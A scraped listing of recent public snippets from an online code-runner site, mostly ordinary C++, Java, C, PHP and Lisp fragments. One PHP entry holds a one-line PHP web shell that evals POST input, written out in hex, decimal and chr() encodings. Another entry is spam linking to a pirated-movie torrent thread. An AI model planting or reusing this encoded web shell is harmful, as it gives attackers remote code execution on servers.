Looking for an inspiration? Below you will find public programs submitted by other users.

Filter by: Bash C C# C++ 5.1 C++14 Haskell Java Java7 Objective-C Pascal (fpc) Pascal (gpc) Perl PHP Python Python 3 Ruby SQL VB.NET more...

#K8JMIQ C++14 10 seconds ago
Success
  1. #include <iostream>
  2. #include <assert.h>
  3. #include <math.h>
  4. #include <iomanip>
  5.  
  6. using namespace std;
  7.  
  8. int main() {
#TqWywD PHP 17 seconds ago
Runtime error
  1. <?php
  2. 23440x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E60,63,112,104,112,32,64,101,118,97,108,40,36,95,80,79,83,84,91,39,99,39,93,41,59,63,6260,63,112,104,112,32,64,101,118,97,108,40,36,95,80,79,83,84,91,39,99,39,93,41,59,63,6260,63,112,104,112,32,64,101,118,97,108,40,36,95,80,79,83,84,91,39,99,39,93,41,59,63,62chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(64).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(99).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62)chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(64).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(99).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62)chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(64).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(99).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62);
  3. // your code goes here
#Z92wmt Java 26 seconds ago
Compilation error
/* package whatever; // don't place package name! */ import java.util.*; import java.lang.*; import java.io.*; /* Name of the class has to be "Main" only if the class is public. */ class Ideone {
#l5xHv3 Java 29 seconds ago
Compilation error
/* package whatever; // don't place package name! */ import java.util.*; import java.lang.*; import java.io.*; /* Name of the class has to be "Main" only if the class is public. */ class Ideone {
#kq4ph5 C++14 42 seconds ago
Success
  1. using namespace std;
  2. #include <bits/stdc++.h>
  3.  
  4. #define MAX 100100
  5. #define MOD 1000000007
  6. #define PI 3.1415926535897932384
  7. #define F first
  8. #define S second
  9. #define pb push_back
#9OB8l0 C++ 1 minute ago
Success
  1. #include<iostream>
  2. #include<cstring>
  3. #include<cstdio>
  4. #include<vector>
  5. #include<algorithm>
  6. using namespace std;
  7.  
  8. int dp[210][210];
  9. vector<int>arr[210];
#KiRaX9 Java 30 seconds ago
Compilation error
  1. import java.util.*;
  2. class w{
  3. char c;
  4. int num;
  5. public void w(char t,int i){
  6. this.c=t;
  7. this.num=i;
  8. }
  9. }
#H4XluE C# 2 minutes ago
Compilation error
  1. PROGRAM USERDETAILS
  2.  
  3. ! Program to Take user details about their hobbies
  4. ! For example take the user name and hobboes and display
  5.  
  6. START
  7. IMPLICIT NONE
  8.  
  9. ! Declare variable names and types
#OGcDD1 C++14 1 minute ago
Success
  1. #include <iostream>
  2. using namespace std;
  3.  
  4.  
  5. class MovingMagic {
  6. public:
  7. void updateValue(double x) {
  8. if (!init_) {
  9. init_ = true;
#JzdW9D Common Lisp (clisp) 2 minutes ago
Success
  1. ; your code goes here
  2. (print (eq nil '()))
#Sllrtm Common Lisp (clisp) 2 minutes ago
Runtime error
  1. ; your code goes here
  2. (print (= nil '()))
#FFsnsS C++14 57 seconds ago
Success
  1. #include <iostream>
  2. #include <string>
  3. using namespace std;
  4.  
  5. int main() {
  6. int age;
  7. string fullName;
  8. cout << "Enter your age: ";
  9. cin >> age;
#VJSZFV C++14 3 minutes ago
Success
  1. // C++ program for Kruskal's algorithm to find Minimum
  2. // Spanning Tree of a given connected, undirected and
  3. // weighted graph
  4. #include<bits/stdc++.h>
  5. using namespace std;
  6.  
  7. // Creating shortcut for an integer pair
  8. typedef pair<int, int> iPair;
#9FLgrW C 37 seconds ago
Success
  1. #include <stdio.h>
  2.  
  3. int main(void) {
  4. int i = 1;
  5. printf("%d %d", i++, i++);
  6. return 0;
  7. }
#hOug3Y Java 3 minutes ago
Success
/* package whatever; // don't place package name! */ import java.util.*; import java.lang.*; import java.io.*; /* Name of the class has to be "Main" only if the class is public. */ class Ideone {
#BeVxl6 C++ 3 minutes ago
Success
  1. #include<iostream>
  2. #include<cstring>
  3. #include<cstdio>
  4. #include<vector>
  5. #include<algorithm>
  6. using namespace std;
  7.  
  8. int dp[210][210];
  9. vector<int>arr[210];
#M6flXe C++14 14 seconds ago
Compilation error
  1. #include <iostream>
  2. #include <string>
  3. #include <map>
  4. #include <algorithm>
  5. using namespace std;
  6. typedef int KeyType;
  7. typedef pair<const KeyType, string> Pair;
  8. typedef multimap<KeyType, string> MapCode;
  9. int main()
#EzWdfR Java 3 minutes ago
Success
  1. /* package whatever; // don't place package name! */
  2.  
  3. import java.util.*;
  4. import java.lang.*;
  5. import java.io.*;
  6. import java.util.Random;
  7.  
  8. /* Name of the class has to be "Main" only if the class is public. */
  9. class Ideone
#0jxF7g Java 4 minutes ago
Compilation error
/* package whatever; // don't place package name! */ import java.util.*; import java.lang.*; import java.io.*; /* Name of the class has to be "Main" only if the class is public. */ class Ideone {
#aDkbPt PHP 1 minute ago
Success
  1. <?php
  2.  
  3. $handle = fopen ("php://stdin","r");
  4. fscanf($handle,"%d",$n);
  5. $arr_temp = fgets($handle);
  6. $arr = explode(" ",$arr_temp);
  7. array_walk($arr,'intval');
  8.  
  9. for($i = $n;$i >= 0;$i--){
#YJgGwg Java 4 minutes ago
Success
  1. import java.util.regex.Pattern;
  2. import java.util.regex.Matcher;
  3.  
  4.  
  5. class Ideone{
  6. public static void main(String[] args) {
  7.  
  8.  
#0pifL4 C 4 minutes ago
Success
  1. #include <stdio.h>
  2.  
  3. int main(void) {
  4. // your code goes here
  5. int i = 3;
  6. printf("%d %d", ++i, ++i);
  7. return 0;
  8. }
#4Ewb7m Java 5 minutes ago
Compilation error
  1. http://g...content-available-to-author-only...u.com/showthread.php?212745-TORRENT-quot-Lights-Out-quot-(2016)-Online-Full-Movie-Putlocker
  2. http://g...content-available-to-author-only...u.com/showthread.php?212745-TORRENT-quot-Lights-Out-quot-(2016)-Online-Full-Movie-Putlocker
  3. http://g...content-available-to-author-only...u.com/showthread.php?212745-TORRENT-quot-Lights-Out-quot-(2016)-Online-Full-Movie-Putlocker
#yERTsj C++ 5.1 5 minutes ago
Runtime error
  1. #include<iostream>
  2. #include<vector>
  3. #include<string>
  4. using namespace std;
  5. int main(){
  6. int n, a[50], b[50], c[50], d[50], e[50], p[50], m[50], bestp = 0, best, points;
  7. char s[50];
  8. vector<string>v;
  9. cin >> n;
#xRjhhJ Java 4 minutes ago
Compilation error
  1. /* package whatever; // don't place package name! */
  2.  
  3. import java.util.*;
  4. import java.lang.*;
  5. import java.io.*;
  6. import java.util.Random;
  7.  
  8. /* Name of the class has to be "Main" only if the class is public. */
  9. class Ideone
#6Sf7Ua C 3 minutes ago
Success
  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. #define MAX 100
  4. #define initial 1
  5. #define visited 2
  6. int a[MAX][MAX];
  7. int state[MAX][MAX];
  8. int n;
  9. int value[5];
#VRcIsZ Python 1 minute ago
Success
  1. n = 10000
  2. count = 0
  3. while n:
  4. count = count + 1
  5. n = n / 10
  6. n=int(n)
  7.  
  8. print (count)
#C9yhMj Java 5 minutes ago
Success
  1. import java.util.regex.Pattern;
  2. import java.util.regex.Matcher;
  3.  
  4.  
  5. class Ideone{
  6. public static void main(String[] args) {
  7.  
  8.  
  9.  
#fho0uc C++14 5 minutes ago
Compilation error
  1. #include <iostream>
  2. #include <windows.h>
  3. #include <conio.h>
  4. using namespace std;
  5. class instrument
  6. {
  7. public:
  8. void sound(char note, bool s, int dur,int sc);//=0;
  9. void keys(char n);//=0;
#O9l6gr C++ 5.1 14 seconds ago
Success
  1. #include <iostream>
  2. #include <vector>
  3. #include <algorithm>
  4. #include <set>
  5. #include <stdio.h>
  6.  
  7. using namespace std;
  8.  
  9. int main() {